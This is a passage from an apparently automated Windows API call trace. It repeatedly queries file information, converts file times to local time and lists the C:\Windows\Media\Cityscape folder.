lpLocalTime=0x4abc24) returned 1 [0260.865] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.865] CloseHandle (hObject=0x178) returned 1 [0260.866] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.866] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.866] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.866] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.866] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.866] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.866] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.866] CloseHandle (hObject=0x178) returned 1 [0260.867] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.867] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.867] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.867] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.867] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.868] CloseHandle (hObject=0x178) returned 1 [0260.868] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.868] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.868] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.868] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.868] CloseHandle (hObject=0x178) returned 1 [0260.869] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.869] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.869] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.869] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.869] CloseHandle (hObject=0x178) returned 1 [0260.870] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.870] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.870] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.870] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.870] CloseHandle (hObject=0x178) returned 1 [0260.871] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.872] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.872] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.872] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.872] CloseHandle (hObject=0x178) returned 1 [0260.872] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.872] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.873] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.873] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.873] CloseHandle (hObject=0x178) returned 1 [0260.874] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.874] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.874] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.874] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.874] CloseHandle (hObject=0x178) returned 1 [0260.875] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0260.875] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0260.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0260.875] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0260.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0260.875] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0260.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0260.876] CloseHandle (hObject=0x1f0) returned 1 [0260.877] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0260.877] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0260.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0260.877] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0260.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0260.877] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0260.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0260.877] CloseHandle (hObject=0x1f0) returned 1 [0260.882] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Cityscape\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18db1da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18db1da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.882] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.883] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.883] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.883] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.883] CloseHandle (hObject=0x178) returned 1 [0260.884] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.884] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.884] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.884] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.884] CloseHandle (hObject=0x178) returned 1 [0260.885] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.885] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.885] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.885] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.885] CloseHandle (hObject=0x178) returned 1 [0260.886] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.886] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.886] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.886] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.886] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.886] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.886] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.886] CloseHandle (hObject=0x178) returned 1 [0260.887] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.887] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.887] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.887] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.887] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.887] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.887] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.887] CloseHandle (hObject=0x178) returned 1 [0260.888] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.889] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.889] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.889] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.889] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.889] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.889] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.889] CloseHandle (hObject=0x178) returned 1 [0260.890] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.890] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.890] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.890] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.890] CloseHandle (hObject=0x178) returned 1 [0260.890] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.891] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.891] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.891] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.891] CloseHandle (hObject=0x178) returned 1 [0260.891] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.892] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.892] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.892] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.892] CloseHandle (hObject=0x178) returned 1 [0260.893] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.893] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.893] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.893] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.894] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.894] CloseHandle (hObject=0x178) returned 1 [0260.894] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.894] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.895] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.895] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.895] CloseHandle (hObject=0x178) returned 1 [0260.895] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.895] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.896] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.896] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.896] CloseHandle (hObject=0x178) returned 1 [0260.896] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.896] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.896] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.897] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.897] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.897] CloseHandle (hObject=0x178) returned 1 [0260.898] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.898] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.898] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.898] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.898] CloseHandle 